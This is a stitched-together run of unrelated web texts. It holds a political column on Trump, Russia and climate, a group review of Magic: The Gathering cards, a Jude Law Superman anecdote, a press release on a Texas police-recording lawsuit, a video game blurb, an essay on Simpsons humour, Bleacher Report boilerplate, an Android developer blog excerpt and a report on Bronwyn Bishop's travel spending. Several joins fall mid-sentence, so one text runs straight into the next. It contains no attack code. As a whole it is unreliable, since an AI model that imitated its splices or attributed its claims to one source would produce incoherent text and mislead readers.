With every revelation, the case for the president’s own complicity grows stronger. Ioffe reports that Assange told Trump Jr last fall: “Strongly suggest your dad tweets this link if he mentions us.” Then, 15 minutes later, Trump senior did: “Very little pick-up by the dishonest media of incredible information provided by WikiLeaks. So dishonest! Rigged system!”
And let’s be clear: earlier this month, Trump didn’t say he supports Putin’s denials about infiltrating the election because he’s naive or gullible. He did so because if he acknowledges Putin is guilty, then he acknowledges he gained the presidency illegitimately.
Facebook Twitter Pinterest Trump and Putin: firm friends? Photograph: Mikhail Klimentyev/AFP/Getty Images
The enormous role of Silicon Valley in cooperating and creating the vulnerabilities and capacities to hack the election are now being exposed: the capacity for harm of Facebook, Twitter, Cambridge Analytica, etc is finally being reckoned with. The industry’s own spin about how lovely and high minded and inclusive it is: we’re done with that propaganda, and that’s a good thing.
Remember that virtually everything the Putin regime is said to have done in the 2016 election was made possible by the internet: hacking voter rolls, pushing fake news, using armies of bots and trolls to shape opinion, hacking Democrats and offering the results to Trump team members. It’s not good to have powerful enemies; it’s good to know who and what they are.
The climate movement is rising
The global climate movement remains strong, technological innovations making renewables more effective and affordable continue, the low price of oil hamstrings some oil projects and expansions, campaigns targeting sites from German coal mines to Canadian pipelines continue to be strong, and most countries continue to respect the Paris climate agreement.
Top US firms including Walmart and Ford oppose Trump on climate change Read more
Despite all those reports that Trump withdrew us, the United States cannot withdraw from Paris until the day after the next presidential election, in 2020, as Rebecca Leber reported in Mother Jones last week. The administration has not been able to redirect the world away from addressing climate (though it’s also true that we need far stronger measures and we need them soon).
The Republican party is in crisis
Though stories about the Democrats being in disarray are forever being recycled, it’s worth noting that the Republicans are in a slow boil |
Standard ‘Walker. If they have two or more dudes on turn five, you board wipe; if they have one or less dude, you slam Ob!
Stefano: Rich, I dig this art! I just wish the worm’s-eye view was more pushed. But this is a fine Vraska variant with a dramatically better +, a really fun EDH emblem, and potentially an early price not unlike the Unseen queen’s. Wish I had noticed they were preselling for $15 before my friend did.
Ulamog, the Ceaseless Hunger
Brendan: I like this more than the original Ulamog. Not sure how you can beat Ulamog if he attacks a couple times, and exiling two permanents when you cast him is very strong. Probably won’t do much in limited, but there will probably be good ramp to make it possible, and if you cast Ulamog in limited you are very likely to win.
Derek: I never got to Eldrazi, as I never played RoE, so now’s as good a time as any to try casting giant monsters that eat opponents libraries. If you spend 10 mana you’d better guarantee at LEAST a 3 for 1.
Jess: I think this is a better commander than Ulamog, the Infinite Gyre. Not only do you have an extra exile upon cast, but this ability is a lot less rage-inducing than his annihilation was.
Tim: I’m no 12-post expert, but I could see this replacing OG Ulamog. You normally played that guy for the cast trigger, to get rid of troublesome permanents, anyways (Ensnaring Bridge, anyone?), and this Ulamog can hit TWO things that are holding you back.
Stefano: HAIL HIM, THE NIGHT KING. HIM THAT EATS MIND. LET US BE FODDER TO HIS LOVELESS WILL. MAY WE SUFFER ONLY RIGHTLY FOR THE SATISFACTION OF HIS PURIFYING MAW. LO HE IS UPON US NOW, FOULEST GNASHING, THE EATER FIRST AND LAST, ALL-MONDAY-ENDING: OUR MISTRESS, GARFIELD. #NihilisaFrank
Desolation Twin
Derek: Sure. But here is where I wish these cards had Annihilator. Two 10/10’s, while huge, are beatable. Not to mention one of them is a token that can be bounced. Color me unfair, but I like inevitability, and this is just a metric ton of P and T.
Brendan: I want to use Cryptic Command to counter the card and bounce the token. Just remember to let the cast trigger resolve first. This just seems like a worse version of Genesis Hydra, though.
Stefano: Super fun obv, but wish you could Tooth and Nail this and a clone for 40. Notable though that this is one of few Eldrazi #RampGoals that can’t be Gilt-Leaf Winnowed.
Oblivion Sower
Brendan: The duel decks art is much better. Usually the original art is better than the alt art, but not here.
Derek: I can’t wrap my head around 5/8. The exile ability is cool, and stealing lands is cool, but I want to see more ‘payoff’ cards for Ingest than this.
Curtis: To Brendan’s comment: generally agreed, but I love the Duel Deck art for Ivorytusk Fortress as compared to its set art. It looks so intimidating!
Stefano: This was more fun when we were left wondering what would set this up. I wish Ingest was Ingest [#] with different values. But this is a ridiculous EDH card, and as a Standard design I love the tension with Delve opponents: normally they want to exile lands first and always, but this existing at all strongly incentivized them to reconsider. Maaaybe this is a good midgame play for the fabled Eldramp (or Ingest?) deck, because it’s both a fat stick and a ramp spell.
Breaker of Armies
Curtis: I like the thematic justification for the “must block” mechanic provided in the flavor text. Stuff like that hammers home the link between cards, plane, and story.
Brendan: This is Lure and Thicket Basilisk on one card! Well, maybe they block with Tree of Redemption. I hope so. That card is sweet.
Curtis: I, for one, believe that we all need more Tree of Redemption. There’s some neat history that goes into that, too – a lot of the awful medieval spectacle-executions were intended and perceived as opportunities for spiritual purification for the victim to show repentance by meekly accepting this terrible punishment at the moment of death (and a reminder to all present that redemption was possible, as was REALLY BAD TORTURE). Thus a Tree of Redemption being an execution site makes sense! #grimhistory
Stefano: I can’t even believe how good all these Limited uncommons are. The fact that there’s even a 10/8 for 8 that goes in and deck is, again, ridiculous. The Eldrazi’s flavor gives WotC space to justify giving colorless creatures — inherently the easiest “color” to cast — more vacuum-power, rather than more vacuum-suck.
Conduit of Ruin
Jess: I like how this lets you cast the thing you tutor up.
Brendan: Summoning Trap. I bet there are a lot of ways to abuse tutoring an expensive creature to the top of your library.
Stefano: Eyesocket of Ugin. Love it. The subtlety of “creature spell” rather than “colorless creature spell” or whatever is easy to miss, as is the combo-hindering “first.” So many six-mana sticks that are also value/ramp engines…
Blight Herder
Brendan: Wasn’t Luke Skywalker a blight herder on Tatooine? Watch out for this one.
Curtis: I’m starting to glaze over the details as I look at these monsters, but upon reflection you’re right, Brendan. This guy looks pretty real if you’ve gotten some Ingesting going.
Stefano: Curtis is right, it’s a little hard to tell these guys apart. More neon pastels would help. Anyhoo, I like that “Process 2” seems to be a default measure for a lot of effects and that they’re not all as scaling and potentially game-breaking as Oblivion Sower.
Eldrazi Devastator
Curtis: I like Ulamog’s Crusher much more for Cube. The humbler, non-rare Eldrazi really feel the loss of Annihilator most, where the New World Order of design dictates that they don’t get a flashy mechanic to make up for it.
Jess: PAUPER CUBE!
Brendan: This is better than Ulamog’s Crusher. Unless you cast Savage Twister before attacking to clear their board down to lands. Not that I’ve ever done that on day two of a Grand Prix in Las Vegas three months ago.
Stefano: Annihilator’s annihilation aside, this is just a ridiculous limited common. Again, the idea that 8 colorless mana should get you this body at common is absurd in any other world but one befallen (benighted? be-spectacled?) by Eldrazi.
Kozilek’s Channeler
Curtis: I like this. Like the flavor text, like the abilities, like the rarity. I think this guy will define archetypes in Limited as both an enabler and reward for ramp (4/4 is no slouch!)
Stefano: Nice, simple, never been done. Good enough on its own, better with friends. Solid common design for a battlecruiser Limited field and a race defined by basically omnipotence.
Titan’s Presence
Brendan: Vintage Shops anyone? Not sure how many big colorless creatures you need in your deck to make this reliable removal, but people will find a way to make it work.
Jess: Yay for colorless removal spells!
Tim: Brendan, I think the Forgemasters and Lodestones are good enough, as they hit Delver, Pyro, and Deathrite.
Stefano: I. LOVE. THIS. CARD.
IT. IS. SO. COOL.
DON’T. CARE. IF. GOOD.
The flavor on this card is hitting on all the cylinders of my heart and probably taking them home from the bar. And its very existence opens very interesting possibilities for certain flavors of larger-format decks that don’t otherwise need white mana.
Fathom Feeder
Brendan: This is no Baleful Strix, but it should at least trade for something decent.
Curtis: The more I see the payoffs for Ingest, the more this guy looks like a valuable enabler.
Stefano: Very interesting. Shouts (but doesn’t scream) “I’m a Strix,” but will certainly be a linchpin of Ingest.dec if that’s a thing. Still respectable even without Ingest at all.
Brood Butcher
Jess: This is a good take on a typical BG archetype. It’s not blowing my mind, but it’s a solid card in your 99.
Stefano: Feels like an Intro Pack rare. Ugly art from an artist I usually like. Insane for Limited, probably weak elsewhere. Siege-Gang Commander it is sure not.
Forerunner of Slaughter
Brendan: Very strong, assuming you have the right colors of mana. Giving Eldrazi haste will be good, as long as you have an extra mana to do that.
Stefano: Love it. A Flinthoof Boar you didn’t notice rewards a linear team. This is the card that made me say: Okay, maybe Ghostfire Blade spec is real, and maybe Hangarback’s still only at tablet(?) two of a Thragtusk-/Boros Reckoner-like dollar-value triptych.
Mist Intruder
Brendan: Eldrazi Storm Crow? Danger!
Curtis: *bangs fists on table* WE WANT WELKIN TERN WE WANT WELKIN TERN
Stefano: More…like…MAELSTROM CROW.
Nice simple Limited design for the newest iteration of the flying Stoneforge Mystic that can also pay for Force of Will. Also gets my blood boiling aesthetically. May submit this to #NihilisaFrank.
Drowner of Hope
Jess: It does seem like Eldrazi Scions are a lot harder to get in quantity as Eldrazi Spawn. I wish this ability worked with sacrificing any eldrazi, not just scions.
Brendan: I’m holding out hope for a new version of Awakening Zone, but that’s probably too good if it makes 1/1s.
Stefano: Once again have to observe that “Sacrifice an Omnipotent Elder God” would be much worse flavor and branding than “Sacrifice an Omnipotent Elder God’s Deplorable Serf.” I’m also not convinced a more flexible cost would play better, as there’s something to Scions as a fundamental resource that will make this Limited feel like a special world, even a new game. And yes this is probably a Limited bomb.
Incubator Drone
Brendan: Great illustration, very solid card for limited.
Stefano: A little simple, even for what it is. I wish it just 2U or 3/3, but that would be beefy for blue. Could (should?) have been green anyway; in blue at four, I’d have preferred a 1/4 with a friend over a 2/3.
Dominator Drone
Curtis: <still banging fists on table> WEL-KIN TERN! WEL-KIN TERN!
Stefano: I love the name and the effect. Again, this card is just begging you to jam turn-two Hangarbacks in Standard. But now that I think about it, how can a Dominator also be a Drone? WotC’s Fetish Research Department is either way behind or way ahead.
Skitterskin
Stefano: If this could block, it might see Standard play. As is idk, but a real house for AggroDevoid.dec in Limited.
Smothering Abomination
Brendan: You need some serious Eldrazi Scion tokens to make this awesome, but if you do, this card is amazing.
Jess: I have been waiting for them to print this card for YEARS. Literally. I am so in love with this weird-looking card, and I want to get get a bunch of them.
Tim: Could be an interesting enabler in an Aristocrats-style (that’s just what we’re calling a midrange deck with lots of sac-effects, at this point, right?) deck.
Stefano: I disagree with everyone, in a way. This card is fucking stupid-ass good. 4/3 Flier For Four has a respectable history in Standard, and this is a Desecration Spy Network (and as Tablers know, anything that even looks like a Desecration Demon at least gets to spike just from dumb ol’ speculatorz). If I weren’t too strapped to buy in on a fat preorder spec right now, I wouldn’t publish the following statement until I’d already bought out SCG (at $1.99!?):
Did you realize that this eats Hangarbacks and Thopters? You know, the same ones your Forerunner gives haste to? The same ones that pick up your Ghostfire Blade — just like you should be doing — for 1?
Barrage Tyrant
Brendan: A 5/3 with Eldrazi Fling should end its fair share of games.
Stefano: Limited bomb for sure. Ratios feel a little Intro Pack though. Probably not a (maindeckable…?) Standard card unless we have yet to see a way to jam it out faster, but I could be wrong.
Prairie Stream
Brendan: This cycle is very strong. Not better than the shock lands, but probably better than most dual land cycles. These will be all over Standard and probably will see some play in Modern too.
Tim: I wouldn’t call the shocks outright “better.” I definitely think the decks that err on the side of slower, in Modern, will want to replace 40-70% of their shocklands with these. I also think if you play a build of Miracles similar to Joe Lossett’s (1 Tundra, loads of basics), you can get away with playing this in Legacy if you want to make your deck $200 cheaper without losing too many percentage points.
Stefano: Sick art. Obligatory: These cards are good. They’re better topdecks than shocks in the late game, many decks have already rebuilt their fetch targets around Blood Moon, and some decks (read: Scapeshift!!!) straight-up prefer these over shocks (and very well might be thrilled to fill up on both).
Sunken Hollow
Curtis: <table splintering under repeated blows> WHAT DO WE WANT? WELKIN TERN! WHEN DO WE WANT IT? TURN TWO ON THE PLAY WITH TRUSTY MACHETE IN HAND
Stefano: Cool name. Obligatory: These cards are good. They’re better topdecks than shocks in the late game, many decks have already rebuilt their fetch targets around Blood Moon, and some decks (read: Scapeshift!!!) straight-up prefer these over shocks (and very well might be thrilled to fill up on both).
Smoldering Marsh
Stefano: Wait…does anybody else think these names kinda sound like intentionally boring-old-school-tapland names? Obligatory: These cards are good. They’re better topdecks than shocks in the late game, many decks have already rebuilt their fetch targets around Blood Moon, and some decks (read: Scapeshift!!!) straight-up prefer these over shocks (and very well might be thrilled to fill up on both).
Cinder Glade
Stefano: SICK art. Clearly illustrated to demand the attention of Scapeshifters. Obligatory: These cards are good. They’re better topdecks than shocks in the late game, many decks have already rebuilt their fetch targets around Blood Moon, and some decks (read: Scapeshift!!!) straight-up prefer these over shocks (and very well might be thrilled to fill up on both).
Canopy Vista
Brendan: How is this a plains?
Curtis: I think you can see a plane flying in the distance.
Stefano: It’s a long, wide, flat expanse of uniform terrain! They’re going a little highbrow here, sure. Obligatory: These cards are good. They’re better topdecks than shocks in the late game, many decks have already rebuilt their fetch targets around Blood Moon, and some decks (read: Scapeshift!!!) straight-up prefer these over shocks (and very well might be thrilled to fill up on both).
Lumbering Falls
Brendan: Yay! This one isn’t super impressive, but a control deck could make good use of a 3/3 hexproof that is very hard to kill.
Jess: Creaturelands, as I understand it. Gender-neutrality is all the vogue these days.
Stefano: Very, very cool, but the art looks weird and non-alive. I hope these aren’t all just the Got Damb Keyrunes, and I hope they don’t all look “plain” so as to make the impending (I assume) Oath of the Gatewatch/Expeditions versions look hotter. They’ll probably all see some Modern play no matter how middling they may be, though.
Shrine of the Forsaken Gods
Jess: Isn’t this called something like “Temple of the Forsaken Gods”? It’s a neat callback.
Tim: I actually originally misread this and thought it actually was Temple of the False Gods. Kind of annoying that it’s mostly (not strictly) worse than the original and bumped up to rare.
Stefano: ELDRAZI TEMPLE OF THE FALSE GODS
Planar Outburst
Brendan: Dryad Arbor laughs at your Planar Outburst. This will be a total bomb in limited.
Stefano: Listen. My most powerful Sealed Deck of all time was a Champions of Gosh-Dang Kamigawa Release League list on Magic Online. I went something like 48 and 2 (better than a Tool song). I had so many Elders and Reaches that I played four-color (nonblue?) and even jammed in random-ass Just Good cards like the red guy from the “look at your top card and pump me” cycle. But the real reason I went 69 and 2 was probably that I had exactly one 5WWW Myojin of Destroy Everyone Else, and this card is much better than he was.
Lantern Scout
Brendan: Lifelink is a very underrated ability in limited. Good luck racing this card.
Stefano: Some of these Rally effects feel marginally broken… “Soulbond my team with lifelink” feels really good against red decks…
Hero of Goma Fada
Jess: Rally makes me excited for the Ally Commander deck that’s clearly on the verge of playability. Commanded by Reaper King, of course.
Stefano: Find a way to get this in at instant speed. Then we talk, world.
Stasis Snare
Curtis: No this is not going in Enchantress. I prefer my removal like I prefer my commute: a Journey to Nowhere.
Stefano: Finally. Some instant-speed Oblivion Bling.
Retreat to Emeria
Brendan: Very slow but very hard to beat in sealed. We’ll see how it fares in draft.
Jess: So, this is a cycle, right? I wonder what the other ones will be.
Stefano: Oh hey, it’s Gideon at uncommon!
Felider Cub
Brendan: How could you sacrifice this beautiful cat?
Stefano: Because I’m goddamn allergic and they have the card above this.
Gideon’s Reproach
Brendan: Gideon is disgusted by your creature’s vile odor.
Stefano: Nice and solid. Much better than the endless variants of this at three mana.
Sheer Drop
Stefano: I’m just gonna keep saying it: every single Awaken card is a house in limited. Think of Awaken as the “real” cost of an ETB stick and the actual cost as Evoke.
Tandem Tactics
Instant—Up to two target creatures each get +1/+2 until end of turn. You gain 2 life.
Brendan: I doubt combat tricks will be great in BFZ limited, but I assume they at least tried to make a small aggro deck viable. Not sure how good this will be in that deck, though.
Stefano: Brendan’s got a great point. If and when it’s an Allies vs. Gobpires race or whatever, this will end some games.
Guardian of Tazeem
Curtis: I like this guy. Seems like a huge beast in limited if you have a ton of Islands, and a reasonable presence outside where the new Tango-lands will aid in mana fixing and still trigger his icy ability. Maybe I’m wrong! I liked Conundrum Sphinx!
Stefano: Very, very cool. Separating the two halves of a Frost Breath effect is clever and adds nuance without much complexity.
Coastal Discovery
Brendan: Look what I found on the beach! A Mulldrifter!
Jess: Awaken is hella risky in Commander, but maybe it will finally give people a reason to play that “your lands are indestructible” card from the first trip to Zendikar.
Stefano: This is just shy of a bomb. Do NOT listen to the haters. 4 for a Divination is fine in Limited, and I will never “hard”(soft)-cast this unless I don’t have next turn’s land or any other four-mana gas at all. This is a 4/4 Mulldrifter in a slow-ass format. Draft it.
Ruinous Path
Brendan: This will be an amazing Standard staple. Probably better for control decks than Hero’s Downfall. Sure, it’s a sorcery, but you can play some other instant removal, and the Awaken ability is no joke.
Tim: UB/Esper Awaken Control is gonna be the real deal!
Stefano: Excellent. The first time you Awaken this in any format, you get an Achievement notification — straight from my heart.
Defiant Bloodlord
Brendan: Probably awesome in Commander. Probably bad in every other format.
Jess: I mean, people are very split on using the Sanguine Bond/Exquisite Blood combo in the first place. Adding redundancy isn’t going to change that, although this one is easier to recur.
Stefano: This is one of the most obvious casual/EDH fan favorites I’ve ever seen.
Zada, Hedron Grinder
Brendan: Do we have any pump spells that draw a card?
Jess: Love it! Precursor Goblin, as Dana called it.
Stefano: A sick general, a potential Standard card if the tools arise, and a GIRL. REMEMBER SHE’S A GIRL.
David: The newest author of Grinding It Out?
Radiant Flames
Brendan: If your opponent has Vryn Wingmare on board, you could do -4/-4! Seems narrow to me, but I think there will be some many-colored control decks that can use this.
Stefano: Interesting Firespout variant that 3/3.dec can abuse into a Pyroclasm. Should see Standard play against red decks, or in red+ sideboards against Allies.
Rolling Thunder
Brendan: There’s a famous circus march called Rolling Thunder that features massive technical displays from the low brass. My high school band director would make us play it when he wanted to inspire us to practice more. Also, I hear this card is good in draft.
Stefano: There is a very low chance your pack can ever have a higher pick than this.
Undergrowth Champion
Brendan: This may Languish on the sidelines, but could be an annoying threat.
Stefano: Phantoms are back! Phantoms are good. Never cast this until you can play a land after.
Nissa’s Renewal
Brendan: Isn’t this straight up better than Animist’s Awakening?
Jess: Totally strong Commander card.
Curtis: Spoilers (on spoilers)!!
Stefano: lmao wat prolly end up a $69 foil anyway
Oran-Rief Hydra
Stefano: This is really good, but may not be Standard good if that (M14?) Doubling Hydra never was. Def going straight into my Stonebrow, Krosan Hero EDH though…
Retreat to Kazandu
Stefano: KEEP UN-BOMBIN
Scythe Leopard
Stefano: Is this good enough? Not bad, but def no Steppe Lynx (but maybe better than Steppenwolf or Atari Lynx).
Omnath, Locus of Rage
Jess: Well, this will make for an interesting archetype. It’s a decent commander for tribal elementals if you don’t want to go full Horde of Notions.
Stefano: Omnomnomnath:See the Unwritten::Thragtusk:Unburial Rites. An insane value threat that costs only marginally more than your cheaty enabler, hedging your bets for the games you don’t “go off.”
Bring to Light
Brendan: Four or five color combo decks rejoice! Manamorphose will be this thing’s best friend in Modern. In standard, it might be fun to use this to tutor up Dark Petition. Not sure what you do to win in that deck, but who cares?
Jess: It’s pretty damn cool.
Tim: This is one of those cards you look at and say, “This is either gonna be hot garbage or broken as fuck!” Is it worth playing in ANT as a means of getting Past in Flames and casting it? We were already happy to pay 6-7 to tutor and cast the quasi-Yawg’s Will.
Stefano: Weaker than it first looked I think, but the fact that you can fetch an instant and cast it for free the rest of the game…an instant like, say…a counterspell…
Veteran Warleader
Brendan: You need a lot of allies to make this good. I guess even one, along with some other creatures, make this thing tough to block.
Stefano: Scion of the Wild and Crusader of Odric just keep getting better. I have a sneaking feeling this will be the tie that binds Standard Allies.
Hedron Archive
Jess: Yay! We have Mind Stones at 1-3 now. Next one is going to be a cross between Mind Stone and Everflowing Chalice, would be my guess.
Stefano: Now that I’m done here, I’m feeling pretty…Mind Stoned…
ay lmaoActor Brandon Routh ultimately played the part of Superman in Bryan Singer's Superman Returns, a reboot for the character that unfortunately didn't quite land with audiences.
While the issue really wasn't with Routh, it turns out that the director really wanted actor Jude Law to play the part, at least initially. During a visit to The Late Show with Stephen Colbert, the actor filled Colbert in on why he chose not to play the coveted role.
"This was a while ago, so you remember they were rebooting Superman, not this last time with Henry Cavill, they did it once before, um, (in 2004), yeah, when I was obviously young enough to play Superman."
He continued: "So I was approached and at the time I don't know, I just, it didn't float my boat you know, like I just really didn't want to go there, um. First of all, I'm an Englishman and I felt like, I don't know, it just didn't seem to fit, and I was always worried about the outfit and I just didn't fancy it. This director was very keen to meet and impress it upon me and I was actually out in California and he said "Look, you just have to try the suit on. The suit's amazing, and we've revamped the suit", and I was like okay, send the suit over. Send the suit over."Served: Federal Lawsuit Filed Against Addison Officers Who Violated My Right to Record Them
PRESS RELEASE
FOR IMMEDIATE RELEASE
August 25, 2015
Media Contact:
Kervyn B. Altaffer Jr.
Law Office of Kervyn B. Altaffer Jr.
4054 McKinney Ave Ste 310
Dallas, TX 75204
Tel: 972-234-3633
Fax: 972-947-3663
Email: [email protected]
A civil lawsuit was filed today in the United States District Court, Northern District of Texas on behalf of Brett Sanders, against Addison, Texas police officers T. Bagley, Mike Vincent, B. Jones and the Town of Addison on the grounds that all parties violated Sanders’ First, Fourth, and Fourteenth Amendment rights under the Constitution of the United States.
On June 25th, 2015 Officer T. Bagley approached Sanders on a public sidewalk across the street from the Addison, Texas Police Station while he was recording police activity. Bagley immediately attempted to chill Sanders’ First Amendment right by instructing him that he did not have authority to video record the police station, and that he should “move along.” After refusing to leave, Bagley demanded that Sanders provide identification for which he refused, understanding that Texas law does not require Texans to identify themselves unless they are under arrest.
When Sanders asked why he was being detained, Bagley replied that he was “violating a policy that he should not be doing this.” Soon after Sanders calmly announced that he was reaching for his cell phone, Bagley assaulted Sanders by sweeping his legs and subsequently threw him to the ground, causing bodily injury. Sanders was then handcuffed and detained by the aforementioned Addison officers. It was then, according to the police report, when officers first noticed the pre-1899 black powder pistol that was open carried on Sanders right hip. The unloaded pistol was seized throughout the entire detainment.
Sanders seeks punitive damages against Defendants Lieutenant Vincent, Officer Bagley and Officer Jones for their intentional, willful and wanton acts completely ignoring “clearly established statutory and constitutional rights of which a reasonable person would have known.” Sanders hereby sues for these damages, and prays for just and fair recovery thereof.
Prior to filing suit, the Town of Addison was presented with an undisclosed demand letter, but voted against taking any action. According to the Town’s insurance adjuster, Addison is prepared to take the case all the way to trial.
Sanders – Plaintiff's Original Complaint and Jury Demand by BrettSanders
Watch the full incident belowThe Last of Us: Remastered brings one of the most critically acclaimed PlayStation 3 titles of all time to the PS4 with full 1080p visuals, higher-resolution character models, and improved shadows and lighting. Remastered also offers the "Left Behind" single-player chapter that details Ellie's backstory, eight new multiplayer maps from the "Abandoned" and "Reclaimed Territories" packs, and in-game commentary from the cast and creative director. Set 20 years after the Cordyceps parasitic fungus has mutated and begun infecting people, The Last of Us puts players in the role of an amoral black-market dealer named Joel as he attempts to usher a 14-year-old named Ellie across the country to a resistance group known as the Fireflies. The journey is extremely perilous, as gamers must escape quarantined zones where martial law has been enacted, avoid infected humans, scavengers, and bandits roaming cities that have been reclaimed by nature, and elude the military, who desperately want to return Ellie to her quarantined city. Developed by Naughty Dog, the company behind Crash Bandicoot, Jak and Daxter, and Uncharted, The Last of Us represents something of a departure from those action-oriented franchises. While guns and visceral melee combat do play a large role in the game, the post-apocalyptic environment means that ammo and weapons are quite scarce. On top of that, the fungus enters through one's eyes, rendering those infected either partially or fully blind, but giving them remarkable hearing ability, so loud noises are generally inadvisable. Therefore, survival is likely to hinge as much on the use of stealth and guile as the use of guns and knives. Several other characters join Joel and Ellie during their trek, but for the most part gamers will be controlling Joel while the AI handles Ellie. Players can attempt to make their way directly through each level, but those who explore will find a variety of collectibles and objects that can be combined and used as weapons or health kits. The world does not stop when Joel goes into his backpack to craft something, however, so gamers must plan ahead or make sure they are in a secure area before crafting. The Last of Us also features a fully formed multiplayer mode, complete with in-game currency and a perk system.1. Hey-hey
Nothing lasts forever. Take me: I used to be a medium-funny guy. You could count on me to bring a reliable number of chuckles to social occasions. I wasn’t hilarious, but I made sure to get a few solid laughs at parties, galas, potlucks, and ad hoc social gatherings.
These days, I don’t know what’s going on. Every once in a while, when I crack wise or make a seemingly-sly reference, the oddest thing happens. A few people laugh, but others just look at me, their faces like ash. In those panicky moments when I wait for the bombed joke to pass, a fear grips my bowels. Perhaps the fear:
I’m getting old.
The worst part is, I recognize the look I’m getting. It’s the same look I give my dad whenever he makes a joke that, despite having the contours of humor, doesn’t quite hit me in the gut. Even if it seems well made, it just doesn’t make me laugh. It’s too… foreign.
What’s weird about my current predicament is that I know fully well the lineage of my sense of humor. Everything that I think of as “funny” was filtered through years of loving, referencing, and digesting the comedy aesthetic of golden era Simpsons.
As a formal foundation for jokes, you could do worse. In true modernist tradition, early Simpsons episodes emphasized structure, lasting cultural references, and finely-honed layers of complexity. What’s more, everybody else was watching the same show.
“Funny” only becomes possible when people share the same points of reference. Without sympathetic context, there’s no way to subvert expectations. But nowadays, I don’t know, man. Against the modernist tendencies employed by early Simpsons, today’s internet-heavy conditions seem rabidly post-modern, with an emphasis on the eradication of structure, a flurry of rapid re-mixes, and the invention of new grammars and patois that dissolve as soon as they are understood.
Culture has moved on from The Simpsons, despite the show’s unwillingness to pass into comedy Valhalla. In other words, Simpsons is becoming dad humor: structures so well trod that they can never again surprise, no matter how perfectly crafted. The aesthetic earmarks of this mid-90s humor juggernaut are becoming as antiquated as puns and pies-in-the-face.
If this trend continues, it seems likely that it will occur in stages, as more and more young and influential people are unaware of the debt we owe to the likes of Groening, Meyer, Swartzwelder, et al. Compared to the emerging humor aesthetic, the old-school modernist approach will look like it’s for effete try-hards, instead of the cool culture-jammers of the future.
What does that mean? Where does that take us?
I don’t know about you, but my cartography’s all fucked up. I want to map out this structure, and try to see what happens when this style of joking becomes isolated and misunderstood, like dads the world over.
2. “Rosebud”
For sure the first thing to go will be the references. It’s a crying shame that a day will soon come when a Simpson’s reference will be as incomprehensible as barking in Latin. The keen cultural omnivorism the show extolled was inspiring. It rewarded knowledge, and helped spark the love of gathering it.
At the same time, it wasn’t an elitist thing, since the jokes didn’t hinge upon getting the references. It wasn’t like T.S. Eliot, where scholarly understanding was essential to comprehension, so much as a spice added to the already-solid meal of situational comedy. The references wove intricate layers of meaning, so that you were rewarded upon coming back to an episode after reading Ayn Rand or watching The Great Escape.
How many people knew about that sled before seeing Citizen Kane? Exactly.
Simpsons was like a survey course in contemporary American culture. An alternative canon, yet one built upon taking the piss out of those idols. It was an irreverent slideshow slam-dunking one-liners a mile a minute.
In our newly media-rich world of cascading visual arrays, 90s style references are starting to show their rhetorical age. The Simpsons had, for better or worse, literary pretensions. It sought to embed its references into a greater tapestry of narrative unity. We don’t really bother with that, any more. In the raw media hellscape of the internet, references are direct, visceral, and they come with a link. There’s no need to play the coy game of weaving a reference into a story so that it slips by, friction free as baby oil. These days, we just crush the whole thing together, let the stuffing show, damn the torpedoes, full speed ahead — and it works, because that’s the modality we’re all used to. Whether it’s an image on the net, a blog of some guy who believes in the time cube, or a homemade youtube video, we disavow technical perfection for the raw realness of things.
These references are more immediate, less polished, because they’re competing on the bleeding edge of relevance that dissipates so fast these days. It’s a different idea entirely. Instead of making something that lasts, the vast majority of our cultural production now is tuned towards hitting this moment perfectly, then disappearing forever, like an Olympic diver slipping beneath the water without making a ripple.
Would you rather remember or forget? Which |
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Looking for the best NFL coverage around? Bleacher Report is the go-to destination for armchair quarterbacks everywhere. Connect to the NFL stories, teams, athletes and highlights that make the game more than a game. You’ve never been so ready for some football.
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Looking for the best NFL coverage around? Bleacher Report is the go-to destination for armchair quarterbacks everywhere. Connect to the NFL stories, teams, athletes and highlights that make the game more than a game. You’ve never been so ready for some football.
Download the free Bleacher Report app to catch |
like Activities and Fragments. A ViewModel is retained until its associated Activity or Fragment is disposed of forever - that means view data survives events like a Fragment being recreated due to rotation. ViewModels not only eliminate common lifecycle issues, they help build UIs that are more modular and easier to test.
Room
Nearly all apps need to store data locally. While Android has bundled SQLite with the platform since version 1, using it directly can be painful. Room is a simple object-mapping layer that provides the full power of SQlite with less boilerplate. Features like compile-time query verification and built-in migration make it easier to build a robust persistence layer, while integration with LiveData lets Room provide database-backed, lifecycle-aware observables. Room blends of simplicity, power and robustness for managing local storage, and we hope you give it a try.
Guide to App Architecture and more
Last but not least, we created a Guide to App Architecture that provides core principles applicable to all developers, and specific guidance on using Architecture Components together. Because we've heard from you that clear and consistent guidance is important, today we're updating developer documentation to point to Architecture Components where appropriate. We also have a rich set of videos, codelabs and sample apps available at the Architecture Components site, with more to come.
Watch this space
Although the first set of Architecture Components is now stable, we know there's more work to do. Over the last few months, we've listened to your feedback and made improvements. We also recently launched a new Architecture Component, PagedList, to alpha, in response to your feedback that handling large datasets with RecyclerView is too difficult. This is just the beginning - we have more major components under development that we're looking to announce in the upcoming months.
Our hope with Architecture Components is to free developers to focus on providing unique new experiences for mobile devices. We're glad we can finally announce them as stable for production use. We'd like to thank the community, which has given such great feedback along the way, and we look forward to continuing the discussion in the comments of this post. Finally, for those of you who've been waiting for this stable launch, get started today.The Speaker has reportedly spent more than $260,000 in the past five years on limousines, chauffeur-driven cars and commonwealth cars
The furore surrounding Bronwyn Bishop shows no sign of abating after it was revealed that she once spent more than $1,000 of taxpayers’ money in one day on chauffeur-driven limousines.
Sunday News Corp newspapers reported that Bishop has spent $260,237 in the past five years on limousines, chauffeur-driven cars and private vehicles, including commonwealth cars, which are issued to parliamentarians for specific instances.
Andrew Wilkie calls for fraud inquiry into Bishop's $6,000 plane trip Read more
She spent $1,071 on 4 April 2012 to attend the premiere of the show Yes, Prime Minister. She was opposition spokeswoman on seniors and special minister of state at the time.
She booked two commonwealth cars for herself and two staffers to attend the performance at the Sydney Theatre Company in Sydney’s Walsh Bay. Her register of interests shows the tickets were a gift.
Commonwealth cars are for official parliamentary business, usually to ferry politicians between their Canberra residence and parliament house during sitting weeks. The guidelines state that MPs should not use commonwealth cars in their city of residence, or in cities in which they have electorate offices, but they can use them if they have official parliamentary or committee business.
It is unclear whether Bishop, who has held the northern Sydney seat of Mackellar since 1994, had official business in Walsh Bay on 4 April 2012.
Calls and emails to Bishop’s spokesman, Damien Jones, by Guardian Australia have gone unanswered. Jones has been reluctant to comment on parliamentary entitlements while the Department of Finance conducts a review on Bishop going back a decade.
But Jones has told News Corp that the Speaker preferred taking Royale Limousines, a company that uses BMWs, because they can drive in the bus lane, allowing her to get around quicker than if she took commonwealth cars.
